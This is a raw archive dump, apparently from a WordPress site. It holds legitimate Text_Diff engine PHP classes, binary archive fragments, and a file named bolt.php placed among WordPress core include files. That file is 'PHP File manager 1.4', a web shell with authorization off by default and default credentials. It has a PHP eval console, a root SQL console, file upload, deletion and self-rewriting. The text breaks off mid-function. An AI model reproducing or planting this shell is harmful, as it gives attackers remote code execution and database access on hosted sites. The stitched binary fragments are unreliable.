 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }                                                                                                                                                                                                                                                                                                                                                                                                                                        Renderer/Renderer.php.php.tar.gz                                                                    0000644                 00000003670 15217306007 0012572 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ymo6W\R۲&im-ѱY$*ZdYouao(?4D>w]%}103]ȥo¡8~~ơ8G<VcAxr;!>x;I,Y&[ر:OY,e</ ?`	s-Gּ[xYWiz9^:<BL\C88>k<A1CGE"dչȻ\H=BD.H	mVтތDti[gU(эs8s)o:2O╅1!	V $p0	k 1 btB%^lۿpbg=	s.9ЖRѼϦ6OP)(ϙō]xKytGfUX;^w)K>K`>H(NI,'3ǰd)Z̥^AE#f~̪^S8;U	["Lx.XF#E	5OG`>tC%a(biK:q,MeY'U^[4؛`doUP0[Dӆ6qn;n;byxqq NbbGdk6[ng'訖?븳s[IsL2R#c5Kru=L@[xɪdXr 1#j%ʭ~9ȎyS?u,+r(ݫp^Km=
`b}PmNjѐc@;ߚs°.<UoGsf#CKDgLC*tT%7şҿ5	ݙ/d1?.T|7ӪB/A{^`z)ЁP$MW\SlN\-Ow=Y.{MH<SY];"ku{ͅϤ87q/?HˇAsHXMe0Qlhyf Ƽ	ӫ; UH)geKEk$tԢ/
#ga2"FWa NHj0}=:E(:<YDj
I^V3#wfPVpxQS+٣0c%"M$|e]yrA)/~CV<$@:}Z#WїlS7[L ƃzrr5We3k-8m5D
W&h-ʧ~f5a;6MTA_s8U w?e2ajQSE}i9)Ich/JP"MQќZHCUGv6xiVTJBRG",-mXM[킬p*=eӵͪ{mBߙ;^<tj[da~6%ܹZ),-m:ψKE"L5}e$Ŧ,Yq fy@o@W.W9jmXŮx*kvc<i5
-ЅLZ$:寧vR0]Q6li2*Nn[E}%ogWuh5dKe.q.х۴M
7>0^|qݖ[)L*F0uo@8iXxolhd SAm[LdnxE^3='&Α`M5;AQKkXPWf,zNod=gFڃ1ҸP9m(vvKTkJ[wݚ{7$1sF-C_~vwsԓe?l(6asQ3r=wE7SHp8De(("+m|Ʒ1 "                                                                          Renderer/bolt.php.tar                                                                               0000644                 00000236000 15217306007 0010552 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
